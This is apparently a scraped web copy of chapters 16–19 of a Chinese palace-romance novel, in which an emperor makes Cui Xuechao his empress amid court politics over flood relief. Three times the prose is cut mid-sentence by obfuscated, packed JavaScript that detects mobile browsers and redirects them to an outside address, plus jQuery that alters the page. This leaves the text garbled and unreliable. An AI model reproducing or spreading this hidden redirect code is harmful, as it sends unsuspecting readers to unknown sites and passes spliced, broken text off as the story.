杨氏是大儒之家,教养女子以谦恭顺为要旨,简而言之,死板木讷,除去‘好、是的、妾明白’,说的最多的是‘儒家有言,女子应....’。 新婚当晚,杨氏仰在红艳艳的被褥里,眼神麻木无声,不羞不臊不喊不叫,端庄持重如老僧入定,袁望行房时忍不住探了探她脖颈,还会跳,没死,但好像人走了好一会儿了。 他草草了事,杨氏并上腿,麻着眼说夫君舒服吗?妾很舒服。 ...... 那是一段不为人知的往事,还是少回想得比较好。 后来他出征在外,杨氏留在河东家中,只在年底见一回。 有一年袁公来信让他归家,一进门,有个软乎乎的小东西撞到腿上,杨氏面如铄金给他请礼。 两年没归家,儿子都会走了。 袁望默默算了算日子,是他的子嗣,没有为人父的半分激动,反倒觉得杨氏脸色不虞,问她是不是病了,她木着脸说妾生就这副模样。 一个月后,杨氏去了。 大乾开朝,感念杨氏女潜邸功劳追封端蕙贵妃迁入妃陵,五岁的儿子袁道之封为汉王居皇子教养所殿仪所。 三十四的乾元帝对于杨氏面容已无印象,他前半生的野望一在驱除胡部退出阴山一带还中原汉地安宁,二平四境乱军建立新的王朝贤治天下,为后代开创袁氏基业。 野望如火,伐战止戈,往后几十年拔出前朝痼疾,中兴之治。 ** 也罢,杨家送来就送来,权当是大户人家来了一门投靠的亲戚。 红笔勾了圈,碍眼的甩到一旁,翻起中堂递上来的政本。 兴隆二年,王朝诚如一个两岁踉跄的稚子,淮北沃野千里正是膏腴粮仓之地,却不幸遭遇初夏汛期洪水灌了庄稼地。 赈灾势在必行,拟了赈灾章程,至少三百万两白银。 户部两手一摊,国库被末帝糟蹋光净,加之连年征战,各地仓储损耗殆尽,新朝刚建一年,去岁的粮收勉强够去年各地嚼用,今年还等着今年的收成呢。 乾元帝说没钱不能不赈灾,诸位想法子吧,蠲免(该交的钱今年不用交,去年欠的也免了)赈济,工赈,缓赈,调粟,借贷等等。 昨日行驾尚在上林苑百官就为这事儿吵得不可开交,回了望京,还是这一桩事。 今日议事,乾元帝召了私库内史官,把自己娶媳妇的钱缩减大半借给国库,五十万两凑出来,百官感念天恩,也要捐钱。 夜上汇了个总数递到乾元帝手里,定睛一看,望京大小官吏这么多,合计起来十万两。最多的自然是中堂大臣,高首辅领了一万两的缺口,崔次辅五千两次之,而后各级递推,绝不超越上级分毫。 行吧,大臣们也不容易,去年的俸禄还欠着没发呢,治大国如烹小鲜,火候不能太大,慢慢来。 放下这本,又拿起一本,去岁天下不稳,今年大乾四境无战无反,该开科举为陛下招揽天下士人报效皇恩。 科举得有考官吧。 天下门生出自各地官学,官学设立乃高首辅毕生之功劳,故而百官多以高首辅为师,新朝第一场科举,主考官除高首辅谁与争锋? 高首辅呢,再三托词,说自己老了病了眼花了精力不足了,反正不肯接这差事。吏部递上新的折子,举荐吏部侍郎为主考官,吏部两位郎中做副考官。 乾元帝怒极反笑。 吏部侍郎是高家乘龙快婿,吏部郎中,一个从工部刚调过去,什么都没摸清楚,一个拜高家姻亲褚家老封君做干娘,这场科举办下来,纵是有好的也是给高家繁茂的枝芽上添了两片绿叶。 所以说江山易得难守,王朝是棵大树,世家盘根错节磨人又难缠。 “这折子什么时候递过来的?” 童公公:“今儿后晌。” 铜漏滴滴答答,昨夜赏了崔家,内监大摇大摆地昭告百官他要封崔家长女为妃。晌午他接了人进御驾车,下晌折子送到御前。 中堂说到底是个议事处,折本送上来得首辅点头。 高家此举是在试探?还是表达不满? 指腹摩挲着折本的边缘,错综思绪间问万寿宫安置了吗? “贵主上夜后进过汤药,说是头发昏一早就安置了。” 乾元帝拧眉:“不舒服怎么没人来回朕?” 说着撩袍就要去看。 童公公:“贵主是跟贴身伺候的宫女说的私话,不叫惊动人。那宫女嘴严不曾漏口风,还是领事姑姑在廊下偷听到回禀上来。” 起身的人只好止步,既是她们主仆的私房话,他过问就有了监看的嫌隙。 “除了药呢?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415648|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “贵主沐浴,除了崔家来的两个下人,没叫旁人随伺,中途要了散淤的药膏。领事姑姑隔窗听了片刻,贵主的腰像是在哪儿嗑着了。” “磕到了?!” 童公公不敢说崔家的老妈子出门时碎嘴骂了句畜生,“听下人说,不像磕到,像是掐的。” 腰...掐... 傍晚时他把人揉进怀里搓圆子似的来回盘弄,一截细腰用不着两手就能握抱充盈,生出感慨,她生来要填充他前半生情道上的空白,沉迷不可自拔一时失了力道。 乾元帝不自在地轻轻嗓子,“去太医院拿最好的药膏送过去。” 又问:“吃东西了吗?” “戌时三刻进了两个香糖果子和一枚杏片,领事姑姑请示要不要端几样小食,贵主想吃冰酪荔枝饮,让小厨房的管事给劝下了。” 吃喝都要了解,宫外跟进来的两个伺候的做什么差事,乾元帝自然知晓。 一个忠心嘴严另一个掌着饮食要位还真心关爱,他无话可说,只是觉得有些无用武之处:“有问过其他的事情吗?” 譬如朕在哪里?朕在做什么? 童公公不敢抬头:“贵主病还没好全,精力不太旺盛,想来是万寿宫宫人们拜安太繁琐,来不及垂问您这边。” “朕有说她问没问朕?” 童公公忙抽了抽嘴:“陛下恕罪,是小人说错话。” 哼个气音,乾元帝往后殿走,“朕也安置了。” 人躺下了,眼睛还睁着:“她身子弱,让那些宫人少拿琐碎的事情吵她养病。” “是,小人这就去传话。” 话递到万寿宫,童公公往东边指:“主子上心着呢,你空了得在贵主面前提陛下的好,得让贵主心里耳里常有陛下的影子!” 万姑姑恭声道是。 寝殿里 秦妈妈睡在踏板上听床上大姑娘翻身,撩起帘子,悄声问:“大姑娘睡不着吗?”她不叫她贵主,只认一个大姑娘。 崔雪朝唔了声,侧过身看她,“你们来,父亲可有说什么?” 秦妈妈:“大人不在家,侧夫人叮嘱我们要懂规矩,别闯祸。” 榻上的姑娘二十几了,秦妈妈还把她当小时候软着音央求阿娘多吃一颗乳糖的小孩子,抚着她长而软的头发,嗓子眼压着哭音:“大姑娘受罪了。” 比起从前,这会儿她尊贵又体面,除了不自由。可是不在这里,去了魏家同样还是不自由,所以没什么差别。 “妈妈不是盼着我进宫出人头地嘛,怎么这会儿哭了?” 秦妈妈想起伺候大姑娘沐浴时,大姑娘柔弱白皙的腰上赫然生了好刺眼的淤青,分明是让男人给掐狠落下的。 “老奴是太高兴了。” 爱护你的人总是不肯报忧,大姑娘说是自己不小心撞的,秦妈妈就当那是撞的。 “进宫也好,陛下承诺要帮我保住阿娘崔家夫人的位子。” 细看这番经历,这是最值得夸赞的功劳。 秦妈妈果然赞不绝口:“夫人跟着大人吃了大苦,享福的时候换成旁人真怄气!大姑娘有本事!” “只是便宜那一家三个了。” 崔雪朝眨眨眼,心说世上的便宜不是那般好占的,她牺牲后半生,换不回足够的筹码可不行。 听见外头铜漏报时,在秦妈妈的抚发下沉入梦乡。 17. 第 17 章 再睁眼时帐子里还昏着。 习惯了锦绣宫定好的时辰,摸摸额头,一片冰凉,呼气进气也很活泛,想是大好。 起身穿衣随意抹了点玉容膏,眉毛也懒得深画。 小厨房传上早饭,虾仁小馄饨一碗,一小碟子酱瓜,两颗水煮蛋。 门口站着小厨房原来的管事,身后宫人端着盘,什么金丝燕窝粥、翡翠糖糕、枣泥拉糕、如意花卷、杏仁豆腐、绿蔬卷都没派上用场。 秦妈妈领着空碗出来,见她脸色不好看,拉人退下,悄声解释:“昨儿睡前大姑娘嘀咕着想吃我包的馄饨,这才叫我得了巧宗。等明儿就换你的安排。” 贵主亲信不拿乔摆谱,宫人自然笑脸。 隔天是蟹黄小笼包,再隔天是卤汤豆花,又隔一天是花瓣金钱馒头,到了出宫这一日,又换成葱油饼。 万姑姑看着在院中赏花赏石子赏宫墙就是不肯出宫门散步的贵主,愁得头发丝白了好几根。 童公公给她透口风,陛下嘴上说政事忙得脱不开身,实则是玩起以退为进的招数,意图冷冷贵主,或许能激起贵主对他的一点念想。 这一冷,御前下了四天的冰雹,前朝好几个官被剁脑袋抄家问斩。 眼看今日秀女大选,要定册妃的恩旨,“万姑姑,谁不想攀高枝?诚如你吧,是坤宁宫的领事风光,还是万寿宫的领事风光?贵主想不通,你就得想辄帮贵主想明白!” 童公公的话很明确,陛下是想抬举贵主入正位,只要贵主主动去御前走一遭,送点吃的喝的。欸,不送也行,站在那宫门上头远远投个眼神也行! 四天过去,贵主硬是稳如泰山,万姑姑就差一把火把贵主熏到宫门外了。 照着礼部的安排,今日秀女终选之后,未时就能出宫。 行装已经打点好,只等铜漏报时就好。 崔雪朝百无聊赖地坐在椅子上,跟阿屏翻着花绳打发时间。 半晌过去,阿屏被万姑姑盯得头皮发麻,龇牙道:“贵主,不然咱们去御花园走走吧?” “不去。” “去吧。在哪儿等不是等,这绳子的花样咱们翻得没劲,去御花园看看花啊草啊。听说御花园的管事移栽了好些樱桃树,咱们提个篮子摘些带回家吃。” “望京街上也卖樱桃,摘了一路上提着多费事。” 阿屏切切道:“奴婢来提,奴婢不嫌费事!” 崔雪朝看她谄媚,眯了眯眼:“你被人收买了?” 阿屏急忙摆手说没有没有,豆大的眼珠往院里立着的万姑姑转了转:“昨儿奴婢不小心摔了一只青玉的盏,照宫规得挨板子。万姑姑说奴婢才进宫,念在初犯只罚没了一个月的俸银。” 承了人家这么大的恩,今儿早上万姑姑请阿屏帮忙,阿屏自然得回报一二。 崔雪朝看眼秦妈妈,她倒是嘴闭得紧,实则已经被万姑姑一连几日的开解劝的心动。 得封号的妃是尊贵,再尊贵能越过皇后去? 只是姑娘眼明心亮,用不着伺候的下人添乱。 崔雪朝撂下花绳,阿屏绷着心给主子打扇,有些后悔刚才的进言,更后悔辜负了姑娘对她的抬举。要不是她粗手粗脚地摔了青玉盏,何至于让万姑姑捏了软肋。 天色正好,想来锦绣宫正紧锣密鼓地铺排场地考验秀女们两月在宫中的学习成果吧。 崔雪朝心里明镜似的,万姑姑隐晦地提点她去争那个位置,不过是得了别人的吩咐。 皇后有皇后的好,但她自认不是贤惠有为的人,不想接下麻烦。做个妃就好,她不会争抢什么,只会呆在她自己的宫里过小日子,虽无聊些,但波折过的前半生让她更珍惜平淡度日的幸福。 陛下为何执着于让她入宫? 或许有纵横前朝后宫的考量,或许因她秀女之身却僭越地另谋出路,心生嫉火,或许是她无法理解的一个男人对一个女人的占有欲作祟。 至于真心....帝王的真心吗? 真心是无价宝,尤其是女孩子的真心。 阿娘的真心成了陈年岁月中的沙,被父亲轻轻一吹,死不瞑目。她少时也付出过真心,青梅竹马两小无猜,结果发现真心注定被辜负。 不懂事的时候起过怨憎,真心相爱的人走不到在一起,那就轰轰烈烈地一块死。人走过迷障,再回首只会叹慨活着真好。 她对乾元帝无爱,对权势不眷恋,更没有扶持崔家的野心,皇后之尊只会招来数不尽的麻烦,罢了罢了。 那厢万姑姑听屋里再没动静,彻底没了指望,出门给小内监递话,让童公公另外想辄吧。 眼看就要过午,童公公得了消息进到大殿。 “陛下,锦绣宫那边有了定论。”说着红盘呈递上今次秀女评选的结果。 排在前头的不出意料,自然是高家二姑娘。 品貌才情,无一不是上上的甲。 后宫内廷司上月在针线一道的账目核算也做得精准。可谓是嘉偶与良佐并具的好。 乾元帝扫了一眼就让人搁在一边,手里翻着淮北当地政司的奏本,看似专注理政实则魂飞在外,硬是盯着一页看了小一盏茶的功夫。 御前的视而不见,那就擒等着让那些会来事的给撵走吧。 童公公道一声陛下,“照规矩,秀女们评选有了结果,您就该册旨大封。未时诸位贵主们就要离宫在家备嫁了。您看...” 岂料这话让憋着火的人一下冒出气,咚地一摔奏本,抬脚狠狠地揣了御桌,重有三斤的铜鎏金笔架滚落发出尖锐刺耳的响声,“什么规矩!朕何时让她们出宫了!” 好半晌,童公公听上头气音渐消,才壮胆开口:“陛下,万寿宫的宫人先前来回话,说贵主今儿晨起时翻了红历,想来今日离宫在即,心底不舍,不好询问大吉的日子,只得在宫里一人默默算着。” “礼部定了何时纳迎?” “原是定了下月十八。淮北洪水,您体恤赈灾不易,说等南方的第一茬庄稼供上税粮再说,最后定在六月初六。” 一月半,小五十多日。 乾元帝重新坐定,宫人收拾好狼藉,呈递上新的茶水,风平浪静中,听见陛下盘珠串的叮叮声越来越快,“她今日除了翻红历,还做了什么?” 童公公讪笑,“万寿宫的海棠花开得好,贵主裁了好些,妙手制了一个花篮。”然后摆在案上,预备着离宫时带走。 “哦,那一片的海棠花是开得不错。” 话至此,童公公忙说可不嘛,“贵主一人呆在宫里难免孤寂,赏花插艺是风雅事,底下人如何能懂贵主的心思?眼下政事不忙,您要不要去万寿宫走走,顺带散散心?” “她忙着,朕去也无用。” 话这么说,乾元帝吩咐更衣,“今日大选册封,朕总得亲自去锦绣宫瞧一眼。” 去锦绣宫走西宫道,御辇出了通政殿,童公公打个手势拐到东边。 阖眼小憩的帝王以手支颐,嘴角却泛起几不可见的一点笑弧。忖着时辰,睁眼轻啧一声,“怎么到这儿了?” “哎呦,小人糊涂!光顾着想陛下晌午的御膳,一不留神竟然走错到了!陛下,您看,来都来了,贵主住进万寿宫好些日子都没出门,虽说宫人回禀贵主大好,到底您没亲眼看看呐。不然,今儿晌午的御膳就摆在万寿宫?” “糊涂东西!” 乾元帝不轻不重地骂了一句,让人落辇吧,抖抖袖口不存在的灰尘,负手在后坦然地迈进万寿宫的大门。 万寿宫看门的早就给里头贵主传了话,崔雪朝毫不意外,上下看看身上的穿扮没什么不妥之处,迈步到槛上站着等正主进来。 庭中石砖闪着刺目的光芒,打清凉的屋里出来,一瞬觉得眼前冒金星,扶着阿屏的手缓了会儿,再睁眼恰好看见那人阔步而来。 他穿石青纱袍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424304|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,束通白玉的龙珠冠,与她目光触及的刹那剑眉轻扬,棱角分明的五官优越俊美。腰间的玄色麻带勾勒出修长稳健的两条长腿,斐然光华像会发光。 他是内敛的,亦是深沉不显山显水的矜贵。 只是过二道宫门的台阶时,撩起袍摆,小跑两步,又倏然止住恢复如初。 崔雪朝垂下目光,不去细想那两步小跑意味着什么。 正要伏跪,不想他走得真快,滚烫手掌握上她的手腕将人带起,“天热,以后不用出来迎,在屋里头坐着等就行。” “谢陛下。” “近日淮北发了洪水,朝事脱不得身,没得空来看你,宫人说你的病大好,真的?” “回陛下,臣女确已大好。” 臣女不好听,不过等今日册旨就好了。 两下里坐在榻上,一左一右,中间是张深棕色的小案台,斜放一块造型别致的太湖石香炉,童公公提到的那个海棠花花篮就摆在中间,生机盎然地绽放着。 “这是你的手艺?” 崔雪朝说嗯,“臣女粗鄙,让陛下见笑了。” “很高雅。” 袁望大手拨拉下,“正好朕宫里缺一个这样鲜亮的装点,你有心了。” 带不带走的,全让他说成是崔雪朝专门送给他的。 不能开口问她要,万一她说手艺粗鄙不肯给他做一个,当陛下的会下不来台。这么多宫人在,他为了自己面子,少不得要发脾气装装样。一发脾气,那就不妙了! 崔雪朝不想他厚颜无耻,默了下,“陛下喜欢就好。” “朕喜欢,得空朕也制一个送你当回礼。” 一来一去的,怎么不算定情信物呢? 说起定情信物,他挪了挪坐姿,站在不远处的阿屏只觉眼角余光有丝线晃过,撇眼一看,陛下腰上系着的那个荷包不正是她家姑娘的吗? 她家姑娘独有的雪花瓣儿绣图,不过荷包系带上缭缭绕绕好些个红的绿的丝线,她家姑娘嫌丝线麻烦,断不会在荷包上画蛇添足弄那些! “照礼部议程,未时你就要归家,再进宫是大婚仪,要到六月初六。淮北洪水灾情严重,往后挪上几日为妙。日子是有些长,你不用太急,在家安心等着,得空朕去看你。” 崔雪朝说不必,“臣女不敢承受大恩,还请陛下以政事为主。” 还没成亲,她便已经行规劝之职,看来适应得很好。 “锦绣宫那边基本落定,只是圣旨不急着颁布,但朕应下你的不会变。” “谢陛下。” 话罢许久没有声音,她只得抬眸看对面。 袁望呢就等着她这一动,深邃的眉眼饱含喜欢,挥退宫人,问她住得可好睡得可好,平时做些什么,有没有宫人欺负你。 吃得好,住得好,睡得也好。 平时看看书写写字,在宫内散步赏花,宫人们很好不曾欺负我。 他呢,听她说日常琐碎,心里缓缓淌过温情的爱,“送你来万寿宫,我好几日不曾看你,心里有没有怨我?” 他很会择词,若说有没有想我,会显得自己不矜持,也容易让她为难不好作答。 “陛下日理万机,臣女不会怪您。” “我不信。” 袁望道:“不怨我,怎么不见你送东西到御前?” 不送东西是他口中的怨,若送东西正合他意! 崔雪朝警惕万分,“陛下误会,臣女只是...” “我都懂。” 他品一口茶汤,“你有你的思量,是后宫该有的分寸。” 他的刻意扭曲让她无力,很想翻白眼,控制住深吸口气,权当他是堵墙。 “饿了没?饿了,让宫人摆饭。” 只要能离宫,空着肚子也无碍。 崔雪朝正欲摇头,袁望喊传膳吧,一面露出笑:“我陪你吃两口,等吃饱再告诉你个好消息!” 18. 第 18 章 御膳新宰了一只羊,早早腌膻熏烤,片好肉片用翠绿的青叶做底铺了好大一圈。 “夏燥实则不该吃羊,但你身子不舒坦吃些无妨。” 这话一出,崔雪朝愣愣眼,反应过来是在说她葵水的私隐,一下臊红脸。很想回头瞪万姑姑等宫人,却按捺下。不动还好,一动就戳穿了那层窗纱。 她镇定地道声谢,一副经历过大场面的坦然神态。 袁望眼眸自有落点,看她颊容上的女儿红,看她细嚼慢咽时一鼓一鼓的腮帮子,看她吃到心仪的东西时灿亮的眼眸,真是何处不可爱! 秀色可餐,餐亦可餐。 她很懂礼尚往来的道理,自己给她夹羊肉,她吃过,三两筷后主动夹起一小节脆藕,目光征询。他从善如流地点头,脆藕经历过千山万水送到嘴里,滋味妙极了。 他品出了这种不由宫人布菜的美。 夹了口感丰腴的鱼腹肉给她,她回赠一碗羹汤,一顿饭彼此忙活得不可开交,却吃到这顿饭的全部精华。 宫人撤膳。 袁望用竹盐细致地把自己每一颗牙齿打理得清香洁净,殿内走了几圈,这是她平时起居所在,看椅子能想象她坐在上面垂问宫务的身影,看屏风能想象夜幕四合灯影错落,屏风何其有幸映照到她婉约柔美的身影....她的床,她的妆台,她的对镜,她的针线小箩 才几日不见,万寿宫处处是她留下的痕迹。 六月初六...这分别未免也太长了,礼部怎么办的差事? 脚步声出现在身后,袁望收回恋恋不舍的姿态,从容坐上圈椅,掷地有声:“阿朝,做朕的皇后吧!” 崔雪朝顿了顿,“谢陛下垂爱,臣女不想做皇后。” “做朕的皇后不好吗?” 早前应承的是贤妃贤贵妃,眼下变卦让她做皇后,是有些得寸进尺。 可是,她是他情道开窍后的唯一,两个人做名正言顺的夫妻,至尊至贵的帝后,青史留名寝眠陵葬长久在一起,不好吗? 崔雪朝没有被他含情带爱的说辞给绕昏头,格外清醒地往他对面的方向坐定:“论家世门第才貌品行,高二姑娘是众秀女中的一等一,陛下您放着她不选,偏要选臣女,不怕百官非议您的英明?” “陛下是天子,天子不能全由着自己的性子,不然全天下的臣民会说是臣女狐媚,臣女承受不起此等罪名。” 袁望久久地凝视她的脸,她的推拒云淡风轻,一字一句全是不要做他的妻子。在她眼中,做他的妻子好像是什么弥天大错,“妃和妾,有什么分别?” 是,妃与妾有什么分别呢。 那,此刻的两人又与月湖时有什么分别? 同样的他对她不怀好意,但她依旧守心如玉。难道入万寿宫住了几日,不曾相会碰面,他是突然被什么东西上身爱她如痴如狂了吗? 必有隐情,但她懒得质问。 “天家妾自然不同寻常。” 崔雪朝道。 一道旨意发至崔家,她又能如何? 只是月湖边他以崔二姑娘言论牵涉崔家满门,让她畏惧疏离,不肯亲近。好不容易寻到崔夫人做饵,这才勉强遮掩不提。 “其实,让你为后,另有隐情。” 遣退近前伺候的宫人,他屈尊挪至她下手位置,“江山污浊太久,朕有心以铁腕治国拔出前朝凅疾。只是世家尾大不掉,总奉仁政宽法。高家乃世家之首,新朝入王都时立下重功,门下臣僚把持朝政,朕时常觉得有心无力。” 帝后一体,若真立高二姑娘为后,高家权势更上一层楼。 来日诞下大乾第一位嫡子,后戚势力比皇帝还要深广! 说起这些,他的声音藏着刀锋利刃,未雨绸缪的心肠容不得任何挑衅皇权的影子。 崔雪朝如愿松口气,这才是男人的真心,和情爱无关,只有权力。 又为何择了她呢? 她姓崔,父亲因前朝旧事,一头触柱的直臣变成持稳守成的纯臣。加之与前朝有恨,新帝革政少有反驳,父亲赞许新帝的政论又是中堂除高首辅之外最能干可信赖托付的文臣肱骨。 如此天然的制衡局面,弃之可惜。 “臣女不通外务,若能为陛下分忧,责无旁贷。” 她答应了! 乾元帝先是一喜,继而迅速冷静下来,想从她表情中看出不悦,可惜没有,好似真的是想通了。 只论爱和情,她不松口,思及此,袁望怅惘,她的不心动太过绝情。但牵涉家族权柄,各方势力,她又愿意,理智至上的姑娘并不小情小爱,那放她出宫便不必担心她会被人拐走! 至于他主动提及前朝势力,古来说女子不得干政,呵呵,他是皇帝,她是他未来的皇后,他们会有嫡子,或许会是太子,再有女儿封为公主出降臣下,家与朝政密不可分。不得干政?天大的笑话。 正事说罢,彼此沉默地干坐一会儿。 反正都挨得这般近了。 袁望瞄一眼她白净的侧脸,秀气的琼鼻,似汉白玉造的仕女颈,藏在衣衫的巨峰,绮丽路往下是她的腹和腰,那日贴在他邦硬的肌肉上,触感柔软得他险些化了。毫不夸张的说,这几日刻意冷淡不见她又思念如狂时,总默默回溯一番当时的滋味。 最为绮念入梦过的一处...他望向不抹口脂却红泽的唇,“阿朝......” “陛下,快到未时了。” 她清冷的声线阻断一切念想。 不亲就不亲吧,袁望失望起身,到门口又实在不甘,她这一回家,少说十几天见不上面,突然止步转身,正如他预料的那般,她反应不及直直撞进他舒展的怀里。 他从善如流地收下这个拥抱,甚至觉得不满足,两臂往她腋下一抄,毫不费力地把人抱高一大截,惊得她睫羽扑成蝴蝶,两手紧紧地攥住他肩头,“陛下,快放臣女....” ‘叭叭’!! 他仰着头小鸡啄米似讨来两个吻,趁她惊愕,把人妥帖放好,“朕走了。”丢下一句话,撒腿就走。 “......” 满宫人尚凌乱着,还是秦妈妈反应快,抽了帕子就给姑娘擦嘴,“登徒子!”她悄声嘀咕。 又过两刻钟,圣旨颁来万寿宫。 崔雪朝跪在当中领受册封的圣旨。 好一通繁冗的赞词,什么‘秉德柔嘉、持躬淑慎、静正垂仪’,总之可堪为后,封号宸元。 帝号乾元,凤为宸元,童公公喜笑颜开:“皇后娘娘,这封号和圣旨内容是陛下亲自定的,圣旨也是陛下御笔亲书。” 明黄的绢布笔端工整君风严肃,崔雪朝笑着示意宫人收好,万姑姑和万寿宫的宫人们个个走路带风,可不是嘛,皇后娘娘待底下人宽和,虽然需要搬个宫室住,但向上的路累点也无所谓。 皇后册宝等一应物件要跟着崔雪朝回家,待来日大婚之日和册封典礼一并入主坤宁宫。 到这一步,崔家长女便是这宫里地位最高的女人。 询问什么也不必在意规矩不规矩。 “锦绣宫如何了?” 童公公:“高二姑娘册了安妃,吏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15427187|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部郎中之女册为赵嫔,忠武将军之妹册为董贵人.....” 大册礼规矩上的一后二妃三嫔四贵,实则并没有册满。 “罗家姑娘落选了吗?” “罗姑娘智勇双全,安勇侯年少有为,陛下为他们二人赐婚了!” 崔雪朝笑了笑,让人送童公公。 待安置行装,坐上出宫的马车已经是一个时辰后。 册为皇后自然不能从简。 盛大华贵的车辇不必说,随行还有披坚执锐的禁军护卫,秦妈妈和阿屏,万姑姑以及伺候衣食住行的八个一二等宫女随车同行。 这浩大的声势从宫门一路流向崔家,到时天际瑰丽发紫,晚霞美得像泼过漆色,万姑姑喜气道:“娘娘真乃大乾中宫之福,瞧这福兆,可见连上天都赞许您与陛下的姻缘!” 崔雪朝无奈看她给自己声名造势,一抬眼,崔府门下赫赫跪了满地,“给皇后娘娘请安。” “都起吧。” 圣旨比她先发回家中,崔举一身绯红的鹤御灵芝纹曲领朝服映得他两脸比晚霞还红,想来是高兴的吧。 回到正厅,禁军分作两伍,一支绕了整座崔府,另一支护在喜腊院,崔雪朝人在正堂,堂外长廊阶下还站着随时等候吩咐的兵甲,再有内监和宫人等数人,原本宽大的亭堂瞬间显得局促。 赵柔娘连腰都不敢站直,其实她很想躲在院中称病不出,可惜皇后娘娘的尊驾前,除非她是病得只剩一口气,不然绝不容许任何人弄虚作假。 不过抬眼看,一家之主都得舍了当父亲的上位,身为侧夫人的她也不用那么不自在。 上林苑匆匆一面不曾好好说过话,算来两月不着家,其实该有许多体己话。 只是小家庭中母亲的位置何其重要,母亲和声细语地搂着女儿问吃问穿,父亲严中有慈,看妻女拥在一块哭笑,一边让妻子不可过分骄纵孩子一边又竖着耳朵仔细听女儿说在外的经历,尤其留心可曾受过委屈。 可惜妻子亡了好些年,女儿也不是少时爱哭啼的性情。 崔举叹惋一声,“大吉日子定在六月初六,还有些时候。你的喜腊院一直有下人照管,若是有什么缺的,尽管报给管家。” 崔雪朝称是。 崔举还欲开口,亭外来了报信,说是宫里马车把家中二姑娘送回来了。 一听这话,赵柔娘直蹦,步子迈开没几下,横向里一个板着脸的宫人伸手拦住她:“大胆!娘娘尚在,你敢不恭!” 廊下重甲的禁军唰地亮出雪白锋锐的长戈,那弧光带了杀气,赵柔娘倒吸一口凉气腿一软跪在地上。 “万姑姑” 崔雪朝唤了一声,那厢万姑姑恶狠狠地剜了这没规矩的小妇两眼,这才退开,“咱们娘娘宽宏大量,念你是娘家人,饶过你这一次。往后再敢不敬,莫怪小人照规矩办事。您自去吧,小人便不搀您了!” 崔家下人忙上前连扯带拽地把人弄走。 崔举尴尬,想开口说些缓和的话,崔雪朝对他笑笑,“宫里规矩大,不似从前在家中。过后您跟她说说就行,不值当动气。” 遥遥的已然能听到崔荷调门高的哭音,崔雪朝没耐心见她,领着宫人回喜腊院安置。 出了正厅,秦妈妈和阿屏满含敬佩地望着万姑姑。 本来她们还觉得万姑姑这些宫人跟回家里麻烦,有了方才那一朝,才觉得自己浅薄,皇后娘娘的排场就得是家里最大的那个! 什么老爷侧夫人二姑娘三少爷,有一个算一个在咱们娘娘面前都低着头老老实实回话! 19. 第 19 章 崔府东院 娘两个晚上睡一块,崔荷眼睛肿成杏核,睡着了还时不时抽嗒一下。困在宫里磋磨了两月,人瘦了几圈,结果竹篮打水一场空,岂能不伤心? 落选倒也不怕,只是女儿跟老爷说了赌气话,当娘的如何能眼睁睁看着孩子远嫁他乡,骨肉分离? 还有喜腊院的那尊菩萨,伺候的妈妈撩帘进来回话,说喜腊院安置落灯了,赵柔娘嗯一声,满眼慈爱地看着女儿,手里蒲扇摇出阵阵凉风,“打听到里头人说了什么吗?” 婆子说不曾,“玉驾随行的宫人和内监把那院子的下人全都撤换,禁军把着门,公中的饭菜都送不进去。” 意料之中。 挥手让婆子下去,赵柔娘深深吸一口气,夜色浓重,檐廊下的悬灯招来飞蛾,扑腾腾的,叫人心烦。 远忧近虑架在眼前,一整晚没睡好觉。 晨起伺候老爷出门上朝,问起喜腊院,崔举坐上棚车,一边吩咐:“阿朝如今身份不同,她喜静,如无大事,莫要去她跟前添乱。” 这一点,赵柔娘求之不得,点头应是。又闻,“崔荷昨日归家只知道哭闹,想不想明白今日都得去喜腊院拜见。你们母子别打鬼主意,今日大朝会,下值必会晚,宫里的内侍们若是发作起来,没人能帮你们说好话!” 赵柔娘推拒的言辞堵在嗓子眼,老老实实地蹲个身。 目送车驾消失在街口,愁眉苦脸地去女儿的院子。 人醒了,却不肯起床,觉得丢脸说家里的下人指不定怎么看她笑话呢。 赵柔娘伺候她穿扮好,把老爷走前叮嘱的话托付给女儿,“形势比人强,大姑娘现在是金尊玉贵的未来皇后,你不去拜谒,那就是不敬。老爷本就因为你博选生气,若你这时候出纰漏,真就要嫁到外地去了。” 崔荷闷着声说知道了,道理是道理,往常平起平坐的姐妹,现在却得跪拜求见,磨磨蹭蹭,走到喜腊院外时太阳已在半天央了。 禁军肃脸让她等着,宫人往里递话,崔荷晃着手绢热得满脑门汗,被请进院中又过去一刻钟。 喜腊院已大改模样。 原本简朴清雅的一处家居,门楼镶嵌了琉璃瓦,院内摆了好几口大瓮缸移栽大片大片的莲荷,石头造的台阶换成汉白玉的,雕梁画栋熠熠生辉,在阳光下闪耀着金光,与内廷竟是一般无二的肃穆敬畏。 